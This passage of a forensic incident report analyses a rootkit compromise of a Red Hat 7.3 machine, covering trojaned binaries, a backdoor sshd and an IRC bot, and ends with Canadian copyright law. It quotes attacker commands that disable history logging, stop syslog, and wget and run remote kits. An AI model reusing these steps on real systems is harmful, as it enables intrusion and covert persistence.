<td>TOP --&gt; OK</td>
<td></td>
</tr>
<tr>
<td></td>
<td>--pstone</td>
</tr>
<tr>
<td>PSTONE --&gt; failed</td>
<td></td>
</tr>
<tr>
<td></td>
<td>----killall</td>
</tr>
<tr>
<td>KILLALL --&gt; OK</td>
<td></td>
</tr>
<tr>
<td></td>
<td>------ls-dir-vdir</td>
</tr>
<tr>
<td>LS DIR VDIR --&gt; failed</td>
<td></td>
</tr>
<tr>
<td></td>
<td>------find</td>
</tr>
<tr>
<td>FIND --&gt; OK</td>
<td></td>
</tr>
<tr>
<td></td>
<td>------du</td>
</tr>
<tr>
<td>DU --&gt; OK</td>
<td></td>
</tr>
<tr>
<td></td>
<td>------netstat</td>
</tr>
<tr>
<td>NETSTAT --&gt; OK</td>
<td></td>
</tr>
</tbody>
</table>

Table 2. install.log output

Table 2. install.log output shows “PS, PSTONE and LS DIR VDIR” failing during install. Further analysis of the install script is shown below in steps 1 to 20 below. The bolded fonts in step 11 are the one’s that the install log showed as failing. Steps 12 to 21 are the actions that were never completed. This was verified taking the MD5 file hashes and comparing them with MD5 hashes from a clean install of Linux RedHat 7.3 machine.

1) The HISTFILE is configured not to capture commands with “unset HISTFILE”.

2) The command “chattr -iau” is used, (the “-“ removes attributes from the file, “i” => immutable, “a” => append only and “u” => undeletable”). The files the command was used on are listed below;

```
/etc/rc.d/init.d/sshd /etc/rc.d/init.d/syslog
/etc/rc.d/init.d/functions /usr/local/sbin/sshd
/usr/sbin/sshd /bin/ps
```

3) Stop syslog with "/etc/rc.d/init.d/syslog stop"

4) kill the rpc portmapper

5) remove *.tgz file(s) from the ../ directory.

6) Copy the .1proc file to /dev/ttyop. The .1proc file is a list of processes shown below:

   2 sl  2 sl2  2 st  2 v
   2 foo 3 scan  3 ping 3 tcpd
   3 nfds 3 lpd  3 r00t 2 x2
   3 strobe 2 sc  3 luckstatdx 2 /dev/killall
   2 hds  3 /usr/sbin/nfsd 3 mass 3 o
   3 vuln 3 weit

7) Copy the .1addr file to /dev/ttyoa. The .1addr file is a list of ports shown below:

   3 18  4 18  3 6667  4 6667  3 1
   4 1

8) Copy the .1file file to /dev/ttyof. The .1file is a list of filenames shown below:

   .s .x logs sense tcp.log
   mps mls killer mtop mpstree
   ttyop ttyof ttyoa ttyos wipe
   clean sense nfsd hds hds1
   v sl2 sl foo st
   r00t

9) Copy the .1logz file to /dev/ttyos. The .1logz file is a list of IP addresses, domain names and log file names shown below:

   XXX.hypermart.net XXX.XXX.0.159 syslog
   klogd net-pf-10 XXX.97.33.*

10) touch -acmr ( a => change access time, c => do not create any files, m => change modification time, r => use the file referenced times instead of current time). The touch command was performed on the files listed. The first file is the file whose times are used as reference, the second is the trojan binary included in the s.tar.gz root kit.

   /usr/bin/du du /usr/bin/find find /usr/bin/killall killall
   /bin/ps ps /bin/netstat netstat /usr/bin/pstree pstree
   /bin/ls ls /usr/bin/top top /usr/bin/vdir vdir
11) Place the trojan binaries and move existing binaries appending the original name with an “m”:

```
ps => /bin/ps    ptree => /usr/bin/pstree   top => /usr/bin/top
ls => /bin/ls    killall => /usr/bin/killall  ls => /usr/bin/dir
du => /usr/bin/du find => /usr/bin/find    vdir => /usr/bin/vdir
netstat => /bin/netstat
```

12) The nfsdi script, located in the nfsd directory, is called to install the nfsd (sshd backdoor) on port 18:

The nfsdi script does the following:

a) p.sshd is copied to /usr/sbin/nfsd
b) a chmod +s and chattr +iau done on /usr/sbin/nfsd

c) sshd_config copied to /sbin/sshd_config, chattr +iau is done on the file.

d) host key (xxxh_h) and random key (xxh_r) are copied to /sbin.

e) nfsd (sshd) is run
f) chattr -iau run on /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions.

g) The line “/usr/sbin/nfsd -f /sbin/sshd_config” is appended to the end of /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions and chattr +iau is run.

13) Rootkit utilities are installed:

```
clean => /usr/bin/clean  sense => /usr/bin/sense
dos/s12 => /usr/bin/dos/s12  dos/foo => /usr/bin/dos/foo
dos/st => /usr/bin/dos/st  dos/v => /usr/bin/dos/v
```

14) Linsniffer installed storing logs in /dev/logs “linsniffer /usr/bin/lpd”.

15) Setting up crontab “/usr/bin/crontab cron-root”.

16) Ports Open check using command “/usr/sbin/lsof|grep LISTEN”.

17) Checking for “Other RootKITs”.

18) starting syslog with “/etc/rc.d/init.d/syslog start”

19) Reviewing logs, cron, maillog with echo of:

```
/var/log/messages   /var/log/boot.log  /var/log/cron
/var/log/secure    /var/log/maillog
```

20) Using chattr +iau on

```
/etc/rc.d/init.d/syslog /etc/rc.d/init.d/functions /bin/ps
/bin/netstat          /bin/ls    /usr/bin/du
/usr/bin/find          /usr/bin/pstree  /usr/bin/killall
```

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21) Closing message "Na hai sa ne pisam pe iei –;)

TCPFLOW output showed the uncompressing of the s.tar.gz files. When the file system /tmp/.s was examined three of the trojan binaries were not present, they were “ls, ps and vdir”. Table 3 shows a comparison from the TCPFLOW file list and the files in the /tmp/.s directory:

<table>
<thead>
<tr>
<th>TCPFLOW log</th>
<th>Files in /tmp</th>
<th>Last access</th>
<th>Notes – (All virus infected with Linux.RST.B)</th>
</tr>
</thead>
<tbody>
<tr>
<td>.s/</td>
<td>/tmp/.s</td>
<td>03:25:20PM</td>
<td>Hidden directory</td>
</tr>
<tr>
<td>.s/du</td>
<td>/tmp/.s/du</td>
<td>03:25:20PM</td>
<td>Trojan du (disk usage command) references ttyof. The install script copies .1file to ttyof.</td>
</tr>
<tr>
<td>.s/find</td>
<td>/tmp/.s/find</td>
<td>03:25:20PM</td>
<td>Trojan find command references ttyof. The install script copies .1file to ttyof.</td>
</tr>
<tr>
<td>.s/killall</td>
<td>/tmp/.s/killall</td>
<td>03:25:20PM</td>
<td>Trojan killall command used to kill processes. References ttyop. The install script copies .1proc to ttyop.</td>
</tr>
<tr>
<td>.s/ls</td>
<td>-not present-</td>
<td></td>
<td>list command.</td>
</tr>
<tr>
<td>.s/netstat</td>
<td>/tmp/.s/netstat</td>
<td>03:25:20PM</td>
<td>Trojan netsat, network status command references ttyoa. The install script copies .1addr to ttyoa.</td>
</tr>
<tr>
<td>.s/ps</td>
<td>-not present-</td>
<td></td>
<td>Process status command</td>
</tr>
<tr>
<td>.s/pstree</td>
<td>/tmp/.s/pstree</td>
<td>03:25:20PM</td>
<td>Process tree list. References ttyop. The install script copies .1proc to ttyop.</td>
</tr>
<tr>
<td>.s/vdir</td>
<td>/tmp/.s/vdir</td>
<td>03:25:20PM</td>
<td>Lists directory contents.</td>
</tr>
<tr>
<td>.s/top</td>
<td>/tmp/.s/top</td>
<td>03:25:20PM</td>
<td>Show top CPU Processes.</td>
</tr>
<tr>
<td>.s/.laddr</td>
<td>/tmp/.s/.laddr</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyoa. Contains a list of that trojan binaries uses. Binaries using this reference are netstat</td>
</tr>
<tr>
<td>.s/.lfile</td>
<td>/tmp/.s/.lfile</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyof. Contains a list of that trojan binaries uses. Binaries using this reference are netstat</td>
</tr>
<tr>
<td>.s/.llogz</td>
<td>/tmp/.s/.llogz</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyos. Contains a list of that trojan binaries uses. Binaries using this reference are netstat</td>
</tr>
<tr>
<td>.s/.lproc</td>
<td>/tmp/.s/.lproc</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyop. Contains a list of that trojan binaries uses. Binaries using this reference are top, pstree, killall</td>
</tr>
<tr>
<td>.s/clean</td>
<td>/tmp/.s/clean</td>
<td>03:25:20PM</td>
<td>Log file cleanup script.</td>
</tr>
<tr>
<td>.s/nfsd/</td>
<td>/tmp/.s/nfsd</td>
<td>03:25:21PM</td>
<td>Directory</td>
</tr>
<tr>
<td>.s/nfsd/shd/config</td>
<td></td>
<td></td>
<td>nfd (sshd) configuration file.</td>
</tr>
<tr>
<td>.s/nfsd/xxh_h</td>
<td>/tmp/.s/xxh_h</td>
<td>03:25:21PM</td>
<td>HostKey file for nfd (sshd) referenced in configuration file. EnCase output shows key as a private key belonging to</td>
</tr>
</tbody>
</table>
The examination began with the startup files. In Linux RedHat 7.3 the startup begins with the /etc/rc.d/rc.sysinit script. This script was identified in the initial keyword search. It contained the keyword “weit”, one of the suspicious files seen in the live response. Two other startup files were identified in the keyword search. They are located in the /etc/init.d hierarchy.

“The inittab file is the configuration file used by ‘init’. The inittab file is located in the /etc directory and provides the run level the system will start in. RedHat Linux runs the /etc/rc.d/rc.sysinit script before running the rc ‘init’ script.”

The rc.sysinit file was identified, in the root kit install log, as one of the startup scripts that was modified. To view all startup scripts in /etc/rc.d with EnCase the rc.d homeplate was selected as shown in Figure 16 - upper left pane.

From the analysis of the s.tar.gz install script and the startup files we know three startup files were modified.

To identify file changes a fresh install of Linux 7.3 was used to generate MD5 hashes to compare against the Linux 7.3 victim machine. The output from the command below was piped ( | ) into an output file for comparison purposes. The find command below starts at the root “/”, looking for names of all files “-name \/*”, do not parse the /proc directory structure “/proc’ -prune -o”, only look at files “-type f” and run an md5sum on the file “-exec md5sum {} \;”.

```
#find / -name \/* -path ‘/proc’ -prune -o -type f -exec md5sum {} \;
```

To create a hash file in EnCase the files were checked off and an export of the hash values, file name, file logical size and path was done. This created a space

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delimited flat file. The file was transferred to the Linux, normalized, and comparisons were run using the unix ‘comm’ command as shown below:

```
comm -3 known-good-startup.txt export-phase4-startup.txt | more
```

The comm command with the -3 switch will not show lines from the two files that are identical. The output is shown:

```
/etc/rc.d/init.d/functions 918ec2bf2cda7890118d41731001ed09 9962
/etc/rc.d/init.d/functions e62d86534bd966c0378d8045aaaa0762 9998
```

Looking at the end of the functions script we find the covert ssh startup command.

```
\dots
\}
/usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned functions startup script – nfsd (ssh on port 18) added

```
/etc/rc.d/init.d/syslog bf2c05fb64dc8c193dfbc21052f5e6e5 1369
/etc/rc.d/init.d/syslog 7e7d2b5075662d3cd6e35c24b5003d69 1405
```

Looking at the end of the syslog script we again find the covert ssh startup command.

```
\dots
exit $?
/usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned syslog startup script – nfsd (ssd on port 18) added

```
/etc/rc.d/rc.sysinit 48fa67a16b96d8d1768a5f9d8421eee4 22379
/etc/rc.d/rc.sysinit ee965268d25b94ed0ffe16e5be890 22379
```

Looking at the end of the rc.sysinit script we find the virus infected (Linux.RST.B) weit command.

Looking at the end of the /etc/rc.d/rc.sysinit script we find the weit command.

```
\dots
/sbin/getkey i && touch /var/run/confirm
fi
weit
```

Trojaned rc.sysinit startup script – wait changed to weit

The “last written” time from each file showed the /etc/rc.d/rc.sysinit script being modified at 3:22:09pm and both the /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions scripts modified at 3:25:21pm. Figure 16 is a screen shot of
the `/etc/rc.d` folder and associated folders and files, all sorted using the Entry Modified time.

To display all of the folders and files under `/etc/rc.d` refer to the upper left hand window in Figure 16. The “home plate” to the left of the check box is selected as shown. To perform a sort, the “Entry Modified” column was selected. The red arrow in the upper right corner of the Entry Modified column indicates this column is sorted. (Refer to the EnCase report in Appendix F).

![Figure 16. Modified startup files](image)

The back doors found on the system were:

- The `nfsd` daemon (trojaned `sshd`) running on process ID’s 19810 and 19811
- The `weit` program run from the `rc.sysinit` script in the `/etc/rc.d` directory that spawned the `popauth` program that sets up a listener on UDP port 3049.
- The `IRC` server running on process ID’s 19936 and 19941.

Looking at the install script in `/tmp/.s/install` we see

```
# cd nfsd;./nfsdi
```

The `nfsdi` script modifies the syslog and functions scripts and installs the trojan, virus infected, `nfsd`.

```
#!/bin/sh
```
The IRC bot software was running as process ID 19941 and 19936. The installation and start of the script was done during a session to the victim host (192.168.2.15) from IP address XXX.XXX.108.64 between ports 35157 and 443. The time of this event was 15:22:43. The command below downloaded the bot.tgz, tar.gzipped file (wget XXX.XXX.com/eladoht/bot.tgz). The file was unpacked (tar –zxvf bot.tgz), the file was removed (rm –rf bot.tgz), the directory was changed from /tmp to /tmp/.X11-pipe (cd .X11-pipe), the mode was set to executable (chmod +x inetd/services) and the services file run (inetd/services).

The linsniffer program was part of the s.tar.gz file. Analysis of the file system showed no indication of the linsniffer program. The install.log showed the install script didn’t complete the install of linsniffer. Using EnCase, a filter search for the file name tcp.log was conducted. The filter search turned up no hits.
A keyword search was next. The purpose of the search was to see if the file existed but had been deleted. The keyword search found the tcp.log referenced 11 times. The references are summarized below:

- 6 hits were in the /tmp/.s/install file.
- 1 hits in the /dev/ttyof file.
- 1 hits in the /tmp/.s/linsniffer binary file.
- 1 hits in the /tmp/.s/.1file
- 1 hits in the /root/.bash_history file.
- 1 hits in the /swap space (swap space Is a .bash_history events).

The directory /dev/log did exist with a MAC time stamp of 03:2206PM on 06/29/03.

Once the nsfd was running, the attacker connected, using ssh on port 18 and continued the configuration and setup of the root kits. The attacker mistyped the command for turning off HISTFILE and because of this error the .bash_history log file recorded the commands issued. These commands confirm the sebek output. The /root/.bash_history file, shown in Table 4, gives the keystroke history for the installation and running of the samba.tgz kit.

```
unset HISTFILES
cd /tmp
ls -al
dir -al
rm -rf .s
rm -rf r
mc
ps ax
killall -9 cp chmod
ps ax
kill -9 19504 19508
ps ax
cd /bin
mkdir .EhT
cd /tmp
cd .font
wget XXX.XXX.com/eladoht/samba.tgz
tar -zxvf samba.tgz
cd samba
ifconfig
./samba -d 0 -S 192.168.2.*
./samba -d 0 -S XXX.XXX.5.*
nmap
nmap XXX.XXX.42.58
./sys XXX.XXX.42.58
./sys XXX.XXX.42.58
whereis tcp.log
netstat -a
netstat
./samba -d 0 -S XXX.XXX.42.*
nmap XXX.XXX.49.137
./sys XXX.XXX.49.137
```
Table 4. HISTFILE output

The EnCase enscript used for reporting the sticky bit did not identify the bit as either setuid or setgid. To provide a complete listing of setuid and setgid a dd image was made of the evidence drive (Tag # 02) using Fastbloc. The command used to create the dd image was:

```
"dd if=/dev/sd1 of=/mnt/linux73-062903.bin bs=1024 conv=noerror,notrunc,sync"
```

The dd command is used to make a bit for bit image. The command line switches are:

- “if” => identifies the input file, in this case it is /dev/sd1.
- “of” => designated the output file, in this case it is /mnt/linux73-062903.bin.
- “bs” => is the block size to use for reading and writing.
- “conv” => is used to send extra arguments to dd.
- “noerror” => tells dd not to stop when reading if an error occurs.
- “notrunc” => no truncation of the output if an error happens.
• "sync" => if an error occurs use zeros in the output file. 

The MD5 checksum was verified against the MD5 checksum from EnCase. See Figure 17.

![Figure 17 dd image MD5 checksum.](image)

Using the loop back devices the filesystem was mounted as ro and the find command was used to obtain the following:

1. The syntax of the find command for locating hidden directories is;
   
   ```
   find /mnt/linux73 -name ".*" -type d -printf "%Tc %k %h/%f
   ```
   
   The "/mnt/linux73" tells find where to start. The "-name ".*" -type d" tells find to look for directories that begin with a "." (the "." in unix hides the directory or file). The last command line switch tells find to print out the file date and time information.

<table>
<thead>
<tr>
<th>directories of interest are listed below:</th>
</tr>
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<tbody>
<tr>
<td>.</td>
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<tr>
<td>.</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:41:56 PM CST 1 /mnt/linux73/tmp/.font-unix</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 04:00:24 PM CST 1 /mnt/linux73/tmp/.font- unix/.X11-pipe</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:22:10 PM CST 1 /mnt/linux73/tmp/.s</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:22:08 PM CST 1 /mnt/linux73/.x</td>
</tr>
</tbody>
</table>

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2. Locating the setuid files:

```bash
find /mnt/linux73 -type f -a -perm -4000 -exec ls -aslg {} \;
```

The “/mnt/linux73” tells find where to start. The “-type f -a -perm -4000” tells find to look for a regular file with the setuid bit set. The “-exec ls -aslg {} \;” command line switch tells find to print out the file details.

<table>
<thead>
<tr>
<th>File Details</th>
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<tr>
<td><code>-rwK-x-x-</code> 1 root root 34296 Mar 27 2002 /mnt/linux73/usr/bin/chage</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 36100 Mar 27 2002 /mnt/linux73/usr/bin/gpasswd</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 37528 Jan 17 2002 /mnt/linux73/usr/bin/at</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 15104 Mar 13 2002 /mnt/linux73/usr/bin/passwd</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 12072 Apr 1 2002 /mnt/linux73/usr/bin/chfn</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 11496 Apr 1 2002 /mnt/linux73/usr/bin/chsh</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 4764 Apr 1 2002 /mnt/linux73/usr/bin/newgrp</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 21080 Apr 14 2002 /mnt/linux73/usr/bin/crontab</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 19927 Apr 17 2002 /mnt/linux73/usr/bin/Ip passwd</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 219932 Apr 4 2002 /mnt/linux73/usr/bin/bash</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 7404 Apr 17 2002 /mnt/linux73/usr/bin/kcheckpass</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 14588 Jul 24 2001 /mnt/linux73/usr/bin/rcp</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 10940 Jul 24 2001 /mnt/linux73/usr/bin/login</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 7932 Jul 24 2001 /mnt/linux73/usr/bin/rsh</td>
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<tr>
<td><code>-rwK-x-x-</code> 1 root root 84680 Apr 18 2002 /mnt/linux73/usr/bin/sudo</td>
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<td><code>-rwK-x-x-</code> 1 root root 32673 Apr 18 2002 /mnt/linux73/usr/sbin/ping6</td>
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<tr>
<td><code>-rwK-x-x-</code> 1 root root 13994 Apr 18 2002 /mnt/linux73/usr/sbin/traceroute6</td>
</tr>
<tr>
<td><code>-rK-s-x-x-</code> 1 root root 451280 Apr 8 2002 /mnt/linux73/usr/sbin/sendmail.sendmail</td>
</tr>
<tr>
<td><code>-rK-s-x-x-</code> 1 root root 22388 Apr 15 2002 /mnt/linux73/usr/sbin/userhelper</td>
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<td><code>-rK-s-x-x-</code> 1 root root 17461 Apr 19 2002 /mnt/linux73/usr/sbin/usernetct1</td>
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<td><code>-rK-s-x-x-</code> 1 root root 20140 Mar 14 2002 /mnt/linux73/usr/sbin/traceroute</td>
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<tr>
<td><code>-rK-s-x-x-</code> 1 root 48 22826 Apr 9 2002 /mnt/linux73/usr/sbin/suexec</td>
</tr>
<tr>
<td><code>-rwK-s-x-x-</code> 1 root root 242909 Jun 29 15:25 /mnt/linux73/usr/sbin/nfsd</td>
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<td><code>-rwK-s-x-x-</code> 1 root root 1602576 Apr 18 2002 /mnt/linux73/usr/sbin/XFree86</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 43951 Jun 30 17:36 /mnt/linux73/bin/ping</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 68863 Apr 1 2002 /mnt/linux73/bin/mount</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 35327 Apr 1 2002 /mnt/linux73/bin/unmount</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 19116 Apr 8 2002 /mnt/linux73/bin/su</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 120264 Apr 9 2002 /mnt/linux73/sbin/pwd/chkpwd</td>
</tr>
<tr>
<td><code>-rwK-x-x-</code> 1 root root 16992 Apr 9 2002 /mnt/linux73/sbin/unix_chkpwd</td>
</tr>
</tbody>
</table>

3. Locating setgid files:

```bash
find /mnt/linux73 -type f -a -perm -2000 -exec ls -aslg {} \;
```

The “/mnt/linux73” tells find where to start. The “-type f -a -perm -2000” tells find to look for a regular file with the setgid bit set. The “-exec ls -aslg {} \;” command line switch tells find to print out the file details.

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<tr>
<td><code>-rwK-s-x-x-</code> 1 root mail 17811 Mar 25 2002 /mnt/linux73/usr/bin/lockfile</td>
</tr>
<tr>
<td><code>-rK-s-x-x-</code> 1 root slocate 25020 Jun 25 2001 /mnt/linux73/usr/bin/slocate</td>
</tr>
<tr>
<td><code>-rK-s-x-x-</code> 1 root tty 6920 Mar 14 2002 /mnt/linux73/usr/bin/wall</td>
</tr>
<tr>
<td><code>-rwK-s-x-x-</code> 1 root tty 8584 Apr 1 2002 /mnt/linux73/usr/bin/write</td>
</tr>
<tr>
<td><code>-rwK-s-x-x-</code> 1 root root 57092 Apr 17 2002 /mnt/linux73/usr/bin/kdesud</td>
</tr>
<tr>
<td><code>-rwK-s-x-x-</code> 1 root utmp 660 Apr 15 2002 /mnt/linux73/usr/bin/utempter</td>
</tr>
<tr>
<td><code>-rwK-s-x-x-</code> 1 root utmp 13760 Apr 15 2002 /mnt/linux73/u</td>
</tr>
<tr>
<td><code>-rwK-s-x-x-</code> 1 root root 25020 Jun 25 2001 /mnt/linux73/usr/bin/slocate</td>
</tr>
<tr>
<td><code>-rwK-s-x-x-</code> 1 root root 32673 Apr 18 2002 /mnt/linux73/usr/sbin/ping6</td>
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</table>
The highlighted line for both setuid and setgid shows the nfsd file, installed with the root kit having both setuid and setgid bits set. See Appendix F for the complete EnCase report.

### 2.6. Timeline Analysis

Time line analysis was done using a combination of EnCase, mac_robber and the unix find command. The Modified, Access and Change times are selectable within EnCase. The timeline export within EnCase produced a file too large to import into Excel and sort. EnCase allows for easy sorting on any of the three times or combinations of the three. To provide a sortable file, the dd image was mounted and both mac_robber and find commands were used to produce timeline files. The following command was used to create a ctime (change time) timeline file:

```
find /mnt/linux73/root -printf "%Ct\t%h/%f\n" | sort > outputfile.txt
```

The adjusted to local times listed below are based on the EnCase Timeline analysis. The time on the /mnt/linux73/lost+found file indicated the last written and modified time as 11:30:53 time as seen in Figure 18.

![Figure 18 Time alignment EnCase](image)

The 1056043853 time is based on the number of seconds after Jan 1, 1970. The key events are displayed below with both times:
OS install start Jun 19, 2003 18:30:53 => Adjusted to local time 11:30:53

OS install complete Jun 20 2003 09:31:35 => Adjusted to local 02:31:35

COMPROMISE STARTS HERE -> ****************************

Date is Jun 29, 2003 22:11:59 => Adjusted to local 15:11:59

Date is Jun 29, 2003 22:20:00 => Adjusted to local 15:22:00

Date is Jun 29, 2003 22:22:04 => Adjusted to local 15:22:04

Date is Jun 29, 2003 22:22:05 => Adjusted to local 15:22:05

Date is Jun 29, 2003 22:22:06 => Adjusted to local 15:22:06

Date is Jun 29, 2003 22:22:07 => Adjusted to local 15:22:07
The install script from s.tar.gz is running. The install script calls the mpstree script with the line “sh mpstree”, then the mpstree script calls the p.ssh script with the line “/p.ssh”. The “p.ssh” script creates the /x directory with the line “mkdir –p $D”, the $D variable is set to ”/x” one line before. The libgc.so library and the popauth executable are placed by the p.ssh script.

EnCase was used to order the files based on last modified time.
Looking at the EnCase modified time sort we see the mech.pid file, (Trojaned IRC server) established at 15:32:59. The mkdir time 15:39:41 (03:39:21) shows us the last trojaned command being put in place. The samba.tgz file is the file downloaded during the nfsd (trojaned ssh running on port 18) session. The time for this was 15:41:42 (03:41:42). Outgoing attacks are initiated. Our suspect mistypes and forgets to stop the .bash_history file from logging. It, along with the sebek log provide evidence on the exact commands typed.

The hostname file had it’s mtime and ctime changed at 16:59:16. One of the commands run during the attacks was ‘netstat’. The ‘netstat’ command was one of the files successfully trojaned. The ‘netstat’ command was exported and the Norton anti-virus program showed the file contained the Linux.RST.B virus. The ‘hostname’ file was exported and it also had the virus. The running of the trojaned netstat command infected the hostname file causing the change in mtime and ctime.

The next mtime written is for .bash_history at 17:21:23 and the xxh_r (trojaned ssh daemon nfsd random seed file) time at 17:25:23. The lpd.usr (19:00:27) and MrIdiot.seen (19:10:27) files are both used for the IRC BOT server. The last inbound
connection to the IRC server is shown in the tcpdump log output below.

16:52:24.823540 195.54.102.4.6667 > 192.168.2.15.1143: P 28727:28812(85) ack 1171 win 2896 <nop,nop,timestamp 120259573 53659921> (DF)

2.7. Recover Deleted Files

As indicated the log server file for the Jun 29 date were not immediately obtained. The log file rotation was set to rotate every week, retaining only 4 weeks before being written over. By the time the error was uncovered the logging event for June 29, had been overwritten. To recover events from the Jun 29 time period a dd image was taken of the drive, see Tag #3. The dd image of the var partition was acquired into EnCase and a search expression for “Jun 29” was created. See Figure 20.

![Figure 20. EnCase keyword string input](image)

The results of the search string are shown by selecting Search Hits. To export the deleted data into a file, the selection is highlighted by dragging the cursor or right clicking and selecting export. Under export you have options to enter the ranges you wish to export to a file. Figure 21 shows the search string found in Unallocated Clusters. The data start and length was used to export the deleted log data to an output file.
Other data recovery was done using tcpflow on the tcpdump data streams from the log evidence gathered from tag item #3.

The syntax for recovering the data streams through these sessions was:

```
#> tcpflow -r tcpdump.log.1056866401 port 1058
```

The output is two streams:

```
XXX.XXX.119.141.00080-192.168.002.015.01058
192.168.002.015.01058-XXX.XXX.119.141.00080
```

Editing out the http header information from the first stream left the "r" binary file that was used to elevate privileges to root on the system.
2.8. **String Search**

From the live response, log analysis, and media analysis keywords were identified. The lists below were compiled throughout the analysis. As shown above, the string search for Jun 29 on the "/var" partition provided supporting evidence on the timing of events and the nature of the activity.

The keywords from live response were compiled based on the difference in a live response run on a normal system and the live response run on the compromised Linux 7.3 server. The keywords were used to narrow the search parameters and target the analysis. This string search / keyword search targeting saved time and narrowed the search for the facts.

**Live response**

Keywords of interest
- minilogd
- session_mm_apache0.sem
- weit
- popauth
- nfsd

Paths of interest
- /tmp/.s
- /.x

Files of interest
- /var/log/httpd/access_log
- /var/log/httpd/ssl_request_log
- /var/log/httpd/error_log
- /usr/bin/weit
- /var/run/httpd.mm.8124.sem
- /tmp/session_mm_apache0.sem
- /.x/popauth
- /dev/hdx1
- /usr/sbin/nfsd
- /tmp/.s/nfsd
- /sbin/sshd_config

Other items of interest
- Date processes started Jun 29
- Defunct processes
  - weit,
  - chmod +s /usr/sbin/nfsd,
  - chmod
  - mkdir
  - hostname
  - ls

**Log file analysis**

Keywords of interest
- s.tar.gz
- linsniffer
- .addr
Paths of interest
- /tmp/.s
- /tmp/.s/nfsd
- /tmp/.s/sshd
- /tmp/.s/xxh_h
- /tmp/.s/xxh_r
- nfsdi
- init.sshd
- popauth
- weit

Files of interest
- r
  - .1file
  - .1logz
  - .1proc
  - xxh_h
  - xxh_r
  - nfsdi
  - init.sshd
  - popauth
  - weit

- s.tar.gz
- bot.tar.gz
- samba.tgz
2.9. Conclusions

The analysis of the logs and tools used provided some interesting insights into the subject. The initial connections showed some scripted activity, worm like. The subject scripts initially held the connection but dropped. The subject did not pay attention to the logging their own install script provided. If they had, they would have seen the fact the sniffer program was not completely installed.

Logging from the IRC sessions demonstrated the need to have bragging rights over how many machines someone has compromised.

```text
:stockholm.SE.eu.Undernet.org 251 MrIdiot :There are 52305 users and 71548 invisible on 36 servers
:stockholm.SE.eu.Undernet.org 252 MrIdiot :79 :operator(s) online
:stockholm.SE.eu.Undernet.org 253 MrIdiot :213 :unknown connection(s)
:stockholm.SE.eu.Undernet.org 254 MrIdiot :46487 :channels formed
:stockholm.SE.eu.Undernet.org 255 MrIdiot :I have 9236 clients and 1 servers
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :Highest connection count: 9510 (9509 clients)
:stockholm.SE.eu.Undernet.org 375 MrIdiot :- stockholm.SE.eu.Undernet.org Message of the Day -
:stockholm.SE.eu.Undernet.org 372 MrIdiot :Type /MOTD to read the AUP before continuing using this service.
:stockholm.SE.eu.Undernet.org 372 MrIdiot :The message of the day was last changed: 2003-1-21 16:57
:stockholm.SE.eu.Undernet.org 376 MrIdiot :End of /MOTD command.
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :on 1 ca 1(4) ft 10(10) tr WHOIS MrIdiot
:stockholm.SE.eu.Undernet.org 311 MrIdiot MrIdiot ~Idiot XXX.XXX.5.35 * :Idiot
:stockholm.SE.eu.Undernet.org 312 MrIdiot MrIdiot :Bredbandsbolaget's IRC Server
:stockholm.SE.eu.Undernet.org 317 MrIdiot MrIdiot 0 1056922387 :seconds idle, signon time
:stockholm.SE.eu.Undernet.org 318 MrIdiot MrIdiot :End of /WHOIS list.
```

Our subject(s) are likely learning the ropes, and are attempting to prove themselves to others in their group by hacking into as many computers as possible. The suspect is not a detail person as seen in the mistyping of commands such as "unset HISTFILES" and doesn’t review his/her own install logs.

Improvements made to the Live Response procedure are;

- File listing has been changed from listing only the /proc file system to listing all files and directories recursively. Changed from `ls -al /proc` to `ls -alR /`
- A second file listing has been added that will parse out the inode listings for the file system. Added `ls -aliR /`
3. Legal Issues of Incident Handling

3.1. Questions:

Question. Based upon the type of material John Price was distributing, what if any, laws have been broken based upon the distribution?

The reference to Ripped MP3 files at the various website and the message to Mike are evidence of copyright infringement. The sections of the Canadian copyright law that would be applied to this are civil and criminal. In the “Copyright Act of Canada, Part IV – Remedies S.34,S35,S38.1” we find the following:

**Civil Remedies**

34. (1) Where copyright has been infringed, the owner of the copyright is, subject to this Act, entitled to all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(2) In any proceedings for an infringement of a moral right of an author, the court may grant to the author or to the person who holds the moral rights by virtue of subsection 14.2(2) or (3), as the case may be, all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(3) The costs of all parties in any proceedings in respect of the infringement of a right conferred by this Act shall be in the discretion of the court.

